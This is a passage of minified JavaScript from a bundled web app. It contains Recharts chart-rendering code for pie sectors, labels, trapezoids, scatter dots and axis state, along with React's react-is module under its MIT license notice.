n=arguments[t]!=null?arguments[t]:{};t%2?ab(Object(n),!0).forEach(function(r){eB(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):ab(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function eB(e,t,n){return(t=tB(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function tB(e){var t=nB(e,"string");return typeof t=="symbol"?t:t+""}function nB(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}var rB=(e,t)=>t,pv=I([vz,rB],(e,t)=>e.filter(n=>n.type==="pie").find(n=>n.id===t)),iB=[],hv=(e,t,n)=>(n==null?void 0:n.length)===0?iB:n,bz=I([nf,pv,hv],(e,t,n)=>{var{chartData:r}=e;if(t!=null){var i;if((t==null?void 0:t.data)!=null&&t.data.length>0?i=t.data:i=r,(!i||!i.length)&&n!=null&&(i=n.map(s=>sb(sb({},t.presentationProps),s.props))),i!=null)return i}}),aB=I([bz,pv,hv],(e,t,n)=>{if(!(e==null||t==null))return e.map((r,i)=>{var s,o=Ve(r,t.nameKey,t.name),l;return n!=null&&(s=n[i])!==null&&s!==void 0&&(s=s.props)!==null&&s!==void 0&&s.fill?l=n[i].props.fill:typeof r=="object"&&r!=null&&"fill"in r?l=r.fill:l=t.fill,{value:Rd(o,t.dataKey),color:l,payload:r,type:t.legendType}})}),sB=I([bz,pv,hv,kt],(e,t,n,r)=>{if(!(t==null||e==null))return dF({offset:r,pieSettings:t,displayedData:e,cells:n})}),wz={exports:{}},Re={};/**
|
||
* @license React
|
||
* react-is.production.js
|
||
*
|
||
* Copyright (c) Meta Platforms, Inc. and affiliates.
|
||
*
|
||
* This source code is licensed under the MIT license found in the
|
||
* LICENSE file in the root directory of this source tree.
|
||
*/var xv=Symbol.for("react.transitional.element"),vv=Symbol.for("react.portal"),xf=Symbol.for("react.fragment"),vf=Symbol.for("react.strict_mode"),gf=Symbol.for("react.profiler"),yf=Symbol.for("react.consumer"),bf=Symbol.for("react.context"),wf=Symbol.for("react.forward_ref"),jf=Symbol.for("react.suspense"),Nf=Symbol.for("react.suspense_list"),kf=Symbol.for("react.memo"),zf=Symbol.for("react.lazy"),oB=Symbol.for("react.view_transition"),lB=Symbol.for("react.client.reference");function Ln(e){if(typeof e=="object"&&e!==null){var t=e.$$typeof;switch(t){case xv:switch(e=e.type,e){case xf:case gf:case vf:case jf:case Nf:case oB:return e;default:switch(e=e&&e.$$typeof,e){case bf:case wf:case zf:case kf:return e;case yf:return e;default:return t}}case vv:return t}}}Re.ContextConsumer=yf;Re.ContextProvider=bf;Re.Element=xv;Re.ForwardRef=wf;Re.Fragment=xf;Re.Lazy=zf;Re.Memo=kf;Re.Portal=vv;Re.Profiler=gf;Re.StrictMode=vf;Re.Suspense=jf;Re.SuspenseList=Nf;Re.isContextConsumer=function(e){return Ln(e)===yf};Re.isContextProvider=function(e){return Ln(e)===bf};Re.isElement=function(e){return typeof e=="object"&&e!==null&&e.$$typeof===xv};Re.isForwardRef=function(e){return Ln(e)===wf};Re.isFragment=function(e){return Ln(e)===xf};Re.isLazy=function(e){return Ln(e)===zf};Re.isMemo=function(e){return Ln(e)===kf};Re.isPortal=function(e){return Ln(e)===vv};Re.isProfiler=function(e){return Ln(e)===gf};Re.isStrictMode=function(e){return Ln(e)===vf};Re.isSuspense=function(e){return Ln(e)===jf};Re.isSuspenseList=function(e){return Ln(e)===Nf};Re.isValidElementType=function(e){return typeof e=="string"||typeof e=="function"||e===xf||e===gf||e===vf||e===jf||e===Nf||typeof e=="object"&&e!==null&&(e.$$typeof===zf||e.$$typeof===kf||e.$$typeof===bf||e.$$typeof===yf||e.$$typeof===wf||e.$$typeof===lB||e.getModuleId!==void 0)};Re.typeOf=Ln;wz.exports=Re;var cB=wz.exports,ob=e=>typeof e=="string"?e:e?e.displayName||e.name||"Component":"",lb=null,km=null,jz=e=>{if(e===lb&&Array.isArray(km))return km;var t=[];return m.Children.forEach(e,n=>{Mt(n)||(cB.isFragment(n)?t=t.concat(jz(n.props.children)):t.push(n))}),km=t,lb=e,t};function Nz(e,t){var n=[],r=[];return Array.isArray(t)?r=t.map(i=>ob(i)):r=[ob(t)],jz(e).forEach(i=>{var s=Ro(i,"type.displayName")||Ro(i,"type.name");s&&r.indexOf(s)!==-1&&n.push(i)}),n}var kz=e=>e&&typeof e=="object"&&"clipDot"in e?!!e.clipDot:!0,zz={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){var i;if(typeof n!="object"||n==null)return!1;if(Object.getPrototypeOf(n)===null)return!0;if(Object.prototype.toString.call(n)!=="[object Object]"){const s=n[Symbol.toStringTag];return s==null||!((i=Object.getOwnPropertyDescriptor(n,Symbol.toStringTag))!=null&&i.writable)?!1:n.toString()===`[object ${s}]`}let r=n;for(;Object.getPrototypeOf(r)!==null;)r=Object.getPrototypeOf(r);return Object.getPrototypeOf(n)===r}e.isPlainObject=t})(zz);var uB=zz.isPlainObject;const dB=Wr(uB);var cb,ub,db,fb,mb;function pb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function hb(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?pb(Object(n),!0).forEach(function(r){fB(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):pb(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function fB(e,t,n){return(t=mB(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function mB(e){var t=pB(e,"string");return typeof t=="symbol"?t:t+""}function pB(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}function Wu(){return Wu=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)({}).hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},Wu.apply(null,arguments)}function qs(e,t){return t||(t=e.slice(0)),Object.freeze(Object.defineProperties(e,{raw:{value:Object.freeze(t)}}))}var xb=(e,t,n,r,i)=>{var s=n-r,o;return o=tt(cb||(cb=qs(["M ",",",""])),e,t),o+=tt(ub||(ub=qs(["L ",",",""])),e+n,t),o+=tt(db||(db=qs(["L ",",",""])),e+n-s/2,t+i),o+=tt(fb||(fb=qs(["L ",",",""])),e+n-s/2-r,t+i),o+=tt(mb||(mb=qs(["L ",","," Z"])),e,t),o},hB={x:0,y:0,upperWidth:0,lowerWidth:0,height:0,isUpdateAnimationActive:!1,animationBegin:0,animationDuration:1500,animationEasing:"ease"},xB=e=>{var t=gn(e,hB),{x:n,y:r,upperWidth:i,lowerWidth:s,height:o,className:l}=t,{animationEasing:c,animationDuration:u,animationBegin:d,isUpdateAnimationActive:f}=t,p=m.useRef(null),[h,x]=m.useState(-1),g=m.useRef(i),y=m.useRef(s),v=m.useRef(o),b=m.useRef(n),w=m.useRef(r),j=qd(e,"trapezoid-");if(m.useEffect(()=>{if(p.current&&p.current.getTotalLength)try{var G=p.current.getTotalLength();G&&x(G)}catch{}},[]),n!==+n||r!==+r||i!==+i||s!==+s||o!==+o||i===0&&s===0||o===0)return null;var N=Qe("recharts-trapezoid",l);if(!f)return m.createElement("g",null,m.createElement("path",Wu({},Ut(t),{className:N,d:xb(n,r,i,s,o)})));var k=g.current,z=y.current,S=v.current,O=b.current,A=w.current,T="0px ".concat(h===-1?1:h,"px"),P="".concat(h,"px 0px"),D=Dk(["strokeDasharray"],u,c);return m.createElement(Yd,{animationId:j,key:j,canBegin:h>0,duration:u,easing:c,isActive:f,begin:d},G=>{var R=At(k,i,G),K=At(z,s,G),_=At(S,o,G),M=At(O,n,G),F=At(A,r,G);p.current&&(g.current=R,y.current=K,v.current=_,b.current=M,w.current=F);var U=G>0?{transition:D,strokeDasharray:P}:{strokeDasharray:T};return m.createElement("path",Wu({},Ut(t),{className:N,d:xb(M,F,R,K,_),ref:p,style:hb(hb({},U),t.style)}))})},vB=["option","shapeType","activeClassName"];function gB(e,t){if(e==null)return{};var n,r,i=yB(e,t);if(Object.getOwnPropertySymbols){var s=Object.getOwnPropertySymbols(e);for(r=0;r<s.length;r++)n=s[r],t.indexOf(n)===-1&&{}.propertyIsEnumerable.call(e,n)&&(i[n]=e[n])}return i}function yB(e,t){if(e==null)return{};var n={};for(var r in e)if({}.hasOwnProperty.call(e,r)){if(t.indexOf(r)!==-1)continue;n[r]=e[r]}return n}function vb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Uu(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?vb(Object(n),!0).forEach(function(r){bB(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):vb(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function bB(e,t,n){return(t=wB(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function wB(e){var t=jB(e,"string");return typeof t=="symbol"?t:t+""}function jB(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}function NB(e,t){return Uu(Uu({},t),e)}function kB(e,t){return e==="symbols"}function gb(e){var{shapeType:t,elementProps:n}=e;switch(t){case"rectangle":return m.createElement(Fk,n);case"trapezoid":return m.createElement(xB,n);case"sector":return m.createElement(Hk,n);case"symbols":if(kB(t))return m.createElement(cN,n);break;case"curve":return m.createElement(Qa,n);default:return null}}function zB(e){return m.isValidElement(e)?e.props:e}function SB(e){var{option:t,shapeType:n,activeClassName:r="recharts-active-shape"}=e,i=gB(e,vB),s;if(m.isValidElement(t))s=m.cloneElement(t,Uu(Uu({},i),zB(t)));else if(typeof t=="function")s=t(i,i.index);else if(dB(t)&&typeof t!="boolean"){var o=NB(t,i);s=m.createElement(gb,{shapeType:n,elementProps:o})}else{var l=i;s=m.createElement(gb,{shapeType:n,elementProps:l})}return i.isActive?m.createElement(tn,{className:r},s):s}var CB=(e,t,n)=>{var r=ot();return(i,s)=>o=>{e==null||e(i,s,o),r(C3({activeIndex:String(s),activeDataKey:t,activeCoordinate:i.tooltipPosition,activeGraphicalItemId:n}))}},PB=e=>{var t=ot();return(n,r)=>i=>{e==null||e(n,r,i),t(TD())}},EB=(e,t,n)=>{var r=ot();return(i,s)=>o=>{e==null||e(i,s,o),r(MD({activeIndex:String(s),activeDataKey:t,activeCoordinate:i.tooltipPosition,activeGraphicalItemId:n}))}};function Sz(e){var{tooltipEntrySettings:t}=e,n=ot(),r=Jn(),i=m.useRef(null);return m.useLayoutEffect(()=>{r||(i.current===null?n(ED(t)):i.current!==t&&n(_D({prev:i.current,next:t})),i.current=t)},[t,n,r]),m.useLayoutEffect(()=>()=>{i.current&&(n(AD(i.current)),i.current=null)},[n]),null}function _B(e){var{legendPayload:t}=e,n=ot(),r=Jn(),i=m.useRef(null);return m.useLayoutEffect(()=>{r||(i.current===null?n(Tk(t)):i.current!==t&&n(Mk({prev:i.current,next:t})),i.current=t)},[n,r,t]),m.useLayoutEffect(()=>()=>{i.current&&(n(Lk(i.current)),i.current=null)},[n]),null}function AB(e){var{legendPayload:t}=e,n=ot(),r=je(De),i=m.useRef(null);return m.useLayoutEffect(()=>{r!=="centric"&&r!=="radial"||(i.current===null?n(Tk(t)):i.current!==t&&n(Mk({prev:i.current,next:t})),i.current=t)},[n,r,t]),m.useLayoutEffect(()=>()=>{i.current&&(n(Lk(i.current)),i.current=null)},[n]),null}var zm,OB=()=>{var[e]=m.useState(()=>$o("uid-"));return e},TB=(zm=dw.useId)!==null&&zm!==void 0?zm:OB;function MB(e,t){var n=TB();return t||(e?"".concat(e,"-").concat(n):n)}var LB=m.createContext(void 0),Cz=e=>{var{id:t,type:n,children:r}=e,i=MB("recharts-".concat(n),t);return m.createElement(LB.Provider,{value:i},r(i))},IB={cartesianItems:[],polarItems:[]},Pz=nn({name:"graphicalItems",initialState:IB,reducers:{addCartesianGraphicalItem:{reducer(e,t){e.cartesianItems.push(t.payload)},prepare:He()},replaceCartesianGraphicalItem:{reducer(e,t){var{prev:n,next:r}=t.payload,i=Yn(e).cartesianItems.indexOf(n);i>-1&&(e.cartesianItems[i]=r)},prepare:He()},removeCartesianGraphicalItem:{reducer(e,t){var n=Yn(e).cartesianItems.indexOf(t.payload);n>-1&&e.cartesianItems.splice(n,1)},prepare:He()},addPolarGraphicalItem:{reducer(e,t){e.polarItems.push(t.payload)},prepare:He()},removePolarGraphicalItem:{reducer(e,t){var n=Yn(e).polarItems.indexOf(t.payload);n>-1&&e.polarItems.splice(n,1)},prepare:He()}}}),{addCartesianGraphicalItem:DB,replaceCartesianGraphicalItem:RB,removeCartesianGraphicalItem:$B,addPolarGraphicalItem:BB,removePolarGraphicalItem:FB}=Pz.actions,WB=Pz.reducer,UB=e=>{var t=ot(),n=m.useRef(null);return m.useLayoutEffect(()=>{n.current===null?t(DB(e)):n.current!==e&&t(RB({prev:n.current,next:e})),n.current=e},[t,e]),m.useLayoutEffect(()=>()=>{n.current&&(t($B(n.current)),n.current=null)},[t]),null},VB=m.memo(UB);function HB(e){var t=ot();return m.useLayoutEffect(()=>(t(BB(e)),()=>{t(FB(e))}),[t,e]),null}var KB=["key"],GB=["onMouseEnter","onClick","onMouseLeave"],YB=["id"],qB=["id"];function yb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function rt(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?yb(Object(n),!0).forEach(function(r){XB(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):yb(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function XB(e,t,n){return(t=ZB(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function ZB(e){var t=QB(e,"string");return typeof t=="symbol"?t:t+""}function QB(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}function Ci(){return Ci=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)({}).hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},Ci.apply(null,arguments)}function Sf(e,t){if(e==null)return{};var n,r,i=JB(e,t);if(Object.getOwnPropertySymbols){var s=Object.getOwnPropertySymbols(e);for(r=0;r<s.length;r++)n=s[r],t.indexOf(n)===-1&&{}.propertyIsEnumerable.call(e,n)&&(i[n]=e[n])}return i}function JB(e,t){if(e==null)return{};var n={};for(var r in e)if({}.hasOwnProperty.call(e,r)){if(t.indexOf(r)!==-1)continue;n[r]=e[r]}return n}function eF(e){var t=m.useMemo(()=>Nz(e.children,mf),[e.children]),n=je(r=>aB(r,e.id,t));return n==null?null:m.createElement(AB,{legendPayload:n})}var tF=m.memo(e=>{var{dataKey:t,nameKey:n,sectors:r,stroke:i,strokeWidth:s,fill:o,name:l,hide:c,tooltipType:u,id:d}=e,f={dataDefinedOnItem:r.map(p=>p.tooltipPayload),getPosition:p=>{var h;return(h=r[Number(p)])===null||h===void 0?void 0:h.tooltipPosition},settings:{stroke:i,strokeWidth:s,fill:o,dataKey:t,nameKey:n,name:Rd(l,t),hide:c,type:u,color:o,unit:"",graphicalItemId:d}};return m.createElement(Sz,{tooltipEntrySettings:f})}),nF=(e,t)=>e>t?"start":e<t?"end":"middle",rF=(e,t,n)=>fn(typeof t=="function"?t(e):t,n,n*.8),iF=(e,t,n)=>{var{top:r,left:i,width:s,height:o}=t,l=Wk(s,o),c=i+fn(e.cx,s,s/2),u=r+fn(e.cy,o,o/2),d=fn(e.innerRadius,l,0),f=rF(n,e.outerRadius,l),p=e.maxRadius||Math.sqrt(s*s+o*o)/2;return{cx:c,cy:u,innerRadius:d,outerRadius:f,maxRadius:p}},aF=(e,t)=>{var n=qt(t-e),r=Math.min(Math.abs(t-e),360);return n*r},sF=(e,t)=>{if(m.isValidElement(e))return m.cloneElement(e,t);if(typeof e=="function")return e(t);var n=Qe("recharts-pie-label-line",typeof e!="boolean"?e.className:""),{key:r}=t,i=Sf(t,KB);return m.createElement(Qa,Ci({},i,{type:"linear",className:n}))},oF=(e,t,n)=>{if(m.isValidElement(e))return m.cloneElement(e,t);var r=n;if(typeof e=="function"&&(r=e(t),m.isValidElement(r)))return r;var i=Qe("recharts-pie-label-text",J$(e));return m.createElement(mv,Ci({},t,{alignmentBaseline:"middle",className:i}),r)};function lF(e){var{sectors:t,props:n,showLabels:r}=e,{label:i,labelLine:s,dataKey:o}=n;if(!r||!i||!t)return null;var l=Mr(n),c=Do(i),u=Do(s),d=typeof i=="object"&&"offsetRadius"in i&&typeof i.offsetRadius=="number"&&i.offsetRadius||20,f=t.map((p,h)=>{var x=(p.startAngle+p.endAngle)/2,g=dt(p.cx,p.cy,p.outerRadius+d,x),y=rt(rt(rt(rt({},l),p),{},{stroke:"none"},c),{},{index:h,textAnchor:nF(g.x,p.cx)},g),v=rt(rt(rt(rt({},l),p),{},{fill:"none",stroke:p.fill},u),{},{index:h,points:[dt(p.cx,p.cy,p.outerRadius,x),g],key:"line"});return m.createElement(Mi,{zIndex:Zt.label,key:"label-".concat(p.startAngle,"-").concat(p.endAngle,"-").concat(p.midAngle,"-").concat(h)},m.createElement(tn,null,s&&sF(s,v),oF(i,y,Ve(p,o))))});return m.createElement(tn,{className:"recharts-pie-labels"},f)}function cF(e){var{sectors:t,props:n,showLabels:r}=e,{label:i}=n;return typeof i=="object"&&i!=null&&"position"in i?m.createElement(hz,{label:i}):m.createElement(lF,{sectors:t,props:n,showLabels:r})}function uF(e){var{sectors:t,activeShape:n,inactiveShape:r,allOtherPieProps:i,shape:s,id:o}=e,l=je(ps),c=je(W3),u=je(yR),{onMouseEnter:d,onClick:f,onMouseLeave:p}=i,h=Sf(i,GB),x=CB(d,i.dataKey,o),g=PB(p),y=EB(f,i.dataKey,o);return t==null||t.length===0?null:m.createElement(m.Fragment,null,t.map((v,b)=>{if((v==null?void 0:v.startAngle)===0&&(v==null?void 0:v.endAngle)===0&&t.length!==1)return null;var w=u==null||u===o,j=String(b)===l&&(c==null||i.dataKey===c)&&w,N=l?r:null,k=n&&j?n:N,z=rt(rt({},v),{},{stroke:v.stroke,tabIndex:-1,[vk]:b,[gk]:o});return m.createElement(tn,Ci({key:"sector-".concat(v==null?void 0:v.startAngle,"-").concat(v==null?void 0:v.endAngle,"-").concat(v.midAngle,"-").concat(b),tabIndex:-1,className:"recharts-pie-sector"},CA(h,v,b),{onMouseEnter:x(v,b),onMouseLeave:g(v,b),onClick:y(v,b)}),m.createElement(SB,Ci({option:s??k,index:b,shapeType:"sector",isActive:j},z)))}))}function dF(e){var t,{pieSettings:n,displayedData:r,cells:i,offset:s}=e,{cornerRadius:o,startAngle:l,endAngle:c,dataKey:u,nameKey:d,tooltipType:f}=n,p=Math.abs(n.minAngle),h=aF(l,c),x=Math.abs(h),g=r.length<=1?0:(t=n.paddingAngle)!==null&&t!==void 0?t:0,y=r.filter(k=>Ve(k,u,0)!==0).length,v=(x>=360?y:y-1)*g,b=x-y*p-v,w=r.reduce((k,z)=>{var S=Ve(z,u,0);return k+(ge(S)?S:0)},0),j;if(w>0){var N;j=r.map((k,z)=>{var S=Ve(k,u,0),O=Ve(k,d,z),A=iF(n,s,k),T=(ge(S)?S:0)/w,P,D=rt(rt({},k),i&&i[z]&&i[z].props);z?P=N.endAngle+qt(h)*g*(S!==0?1:0):P=l;var G=P+qt(h)*((S!==0?p:0)+T*b),R=(P+G)/2,K=(A.innerRadius+A.outerRadius)/2,_=[{name:O,value:S,payload:D,dataKey:u,type:f,graphicalItemId:n.id}],M=dt(A.cx,A.cy,K,R);return N=rt(rt(rt(rt({},n.presentationProps),{},{percent:T,cornerRadius:typeof o=="string"?parseFloat(o):o,name:O,tooltipPayload:_,midAngle:R,middleRadius:K,tooltipPosition:M},D),A),{},{value:S,dataKey:u,startAngle:P,endAngle:G,payload:D,paddingAngle:qt(h)*g}),N})}return j}function fF(e){var{showLabels:t,sectors:n,children:r}=e,i=m.useMemo(()=>!t||!n?[]:n.map(s=>({value:s.value,payload:s.payload,clockWise:!1,parentViewBox:void 0,viewBox:{cx:s.cx,cy:s.cy,innerRadius:s.innerRadius,outerRadius:s.outerRadius,startAngle:s.startAngle,endAngle:s.endAngle,clockWise:!1},fill:s.fill})),[n,t]);return m.createElement(F$,{value:t?i:void 0},r)}function mF(e){var{props:t,previousSectorsRef:n,id:r}=e,{sectors:i,isAnimationActive:s,animationBegin:o,animationDuration:l,animationEasing:c,activeShape:u,inactiveShape:d,onAnimationStart:f,onAnimationEnd:p}=t,h=qd(t,"recharts-pie-"),x=n.current,[g,y]=m.useState(!1),v=m.useCallback(()=>{typeof p=="function"&&p(),y(!1)},[p]),b=m.useCallback(()=>{typeof f=="function"&&f(),y(!0)},[f]);return m.createElement(fF,{showLabels:!g,sectors:i},m.createElement(Yd,{animationId:h,begin:o,duration:l,isActive:s,easing:c,onAnimationStart:b,onAnimationEnd:v,key:h},w=>{var j,N=[],k=i&&i[0],z=(j=k==null?void 0:k.startAngle)!==null&&j!==void 0?j:0;return i==null||i.forEach((S,O)=>{var A=x&&x[O],T=O>0?Ro(S,"paddingAngle",0):0;if(A){var P=At(A.endAngle-A.startAngle,S.endAngle-S.startAngle,w),D=rt(rt({},S),{},{startAngle:z+T,endAngle:z+P+T});N.push(D),z=D.endAngle}else{var{endAngle:G,startAngle:R}=S,K=At(0,G-R,w),_=rt(rt({},S),{},{startAngle:z+T,endAngle:z+K+T});N.push(_),z=_.endAngle}}),n.current=N,m.createElement(tn,null,m.createElement(uF,{sectors:N,activeShape:u,inactiveShape:d,allOtherPieProps:t,shape:t.shape,id:r}))}),m.createElement(cF,{showLabels:!g,sectors:i,props:t}),t.children)}var pF={animationBegin:400,animationDuration:1500,animationEasing:"ease",cx:"50%",cy:"50%",dataKey:"value",endAngle:360,fill:"#808080",hide:!1,innerRadius:0,isAnimationActive:"auto",label:!1,labelLine:!0,legendType:"rect",minAngle:0,nameKey:"name",outerRadius:"80%",paddingAngle:0,rootTabIndex:0,startAngle:0,stroke:"#fff",zIndex:Zt.area};function hF(e){var{id:t}=e,n=Sf(e,YB),{hide:r,className:i,rootTabIndex:s}=e,o=m.useMemo(()=>Nz(e.children,mf),[e.children]),l=je(d=>sB(d,t,o)),c=m.useRef(null),u=Qe("recharts-pie",i);return r||l==null?(c.current=null,m.createElement(tn,{tabIndex:s,className:u})):m.createElement(Mi,{zIndex:e.zIndex},m.createElement(tF,{dataKey:e.dataKey,nameKey:e.nameKey,sectors:l,stroke:e.stroke,strokeWidth:e.strokeWidth,fill:e.fill,name:e.name,hide:e.hide,tooltipType:e.tooltipType,id:t}),m.createElement(tn,{tabIndex:s,className:u},m.createElement(mF,{props:rt(rt({},n),{},{sectors:l}),previousSectorsRef:c,id:t})))}function Ez(e){var t=gn(e,pF),{id:n}=t,r=Sf(t,qB),i=Mr(r);return m.createElement(Cz,{id:n,type:"pie"},s=>m.createElement(m.Fragment,null,m.createElement(HB,{type:"pie",id:s,data:r.data,dataKey:r.dataKey,hide:r.hide,angleAxisId:0,radiusAxisId:0,name:r.name,nameKey:r.nameKey,tooltipType:r.tooltipType,legendType:r.legendType,fill:r.fill,cx:r.cx,cy:r.cy,startAngle:r.startAngle,endAngle:r.endAngle,paddingAngle:r.paddingAngle,minAngle:r.minAngle,innerRadius:r.innerRadius,outerRadius:r.outerRadius,cornerRadius:r.cornerRadius,presentationProps:i,maxRadius:t.maxRadius}),m.createElement(eF,Ci({},r,{id:s})),m.createElement(hF,Ci({},r,{id:s}))))}Ez.displayName="Pie";var xF=["points"];function bb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Sm(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?bb(Object(n),!0).forEach(function(r){vF(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):bb(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function vF(e,t,n){return(t=gF(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function gF(e){var t=yF(e,"string");return typeof t=="symbol"?t:t+""}function yF(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}function Vu(){return Vu=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)({}).hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},Vu.apply(null,arguments)}function bF(e,t){if(e==null)return{};var n,r,i=wF(e,t);if(Object.getOwnPropertySymbols){var s=Object.getOwnPropertySymbols(e);for(r=0;r<s.length;r++)n=s[r],t.indexOf(n)===-1&&{}.propertyIsEnumerable.call(e,n)&&(i[n]=e[n])}return i}function wF(e,t){if(e==null)return{};var n={};for(var r in e)if({}.hasOwnProperty.call(e,r)){if(t.indexOf(r)!==-1)continue;n[r]=e[r]}return n}function jF(e){var{option:t,dotProps:n,className:r}=e;if(m.isValidElement(t))return m.cloneElement(t,n);if(typeof t=="function")return t(n);var i=Qe(r,typeof t!="boolean"?t.className:""),s=n??{},{points:o}=s,l=bF(s,xF);return m.createElement(xz,Vu({},l,{className:i}))}function NF(e,t){return e==null?!1:t?!0:e.length===1}function kF(e){var{points:t,dot:n,className:r,dotClassName:i,dataKey:s,baseProps:o,needClip:l,clipPathId:c,zIndex:u=Zt.scatter}=e;if(!NF(t,n))return null;var d=kz(n),f=S_(n),p=t.map((x,g)=>{var y,v,b=Sm(Sm(Sm({r:3},o),f),{},{index:g,cx:(y=x.x)!==null&&y!==void 0?y:void 0,cy:(v=x.y)!==null&&v!==void 0?v:void 0,dataKey:s,value:x.value,payload:x.payload,points:t});return m.createElement(jF,{key:"dot-".concat(g),option:n,dotProps:b,className:i})}),h={};return l&&c!=null&&(h.clipPath="url(#clipPath-".concat(d?"":"dots-").concat(c,")")),m.createElement(Mi,{zIndex:u},m.createElement(tn,Vu({className:r},h),p))}function wb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function jb(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?wb(Object(n),!0).forEach(function(r){zF(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):wb(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function zF(e,t,n){return(t=SF(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function SF(e){var t=CF(e,"string");return typeof t=="symbol"?t:t+""}function CF(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}var _z=0,PF={xAxis:{},yAxis:{},zAxis:{}},Az=nn({name:"cartesianAxis",initialState:PF,reducers:{addXAxis:{reducer(e,t){e.xAxis[t.payload.id]=t.payload},prepare:He()},replaceXAxis:{reducer(e,t){var{prev:n,next:r}=t.payload;e.xAxis[n.id]!==void 0&&(n.id!==r.id&&delete e.xAxis[n.id],e.xAxis[r.id]=r)},prepare:He()},removeXAxis:{reducer(e,t){delete e.xAxis[t.payload.id]},prepare:He()},addYAxis:{reducer(e,t){e.yAxis[t.payload.id]=t.payload},prepare:He()},replaceYAxis:{reducer(e,t){var{prev:n,next:r}=t.payload;e.yAxis[n.id]!==void 0&&(n.id!==r.id&&delete e.yAxis[n.id],e.yAxis[r.id]=r)},prepare:He()},removeYAxis:{reducer(e,t){delete 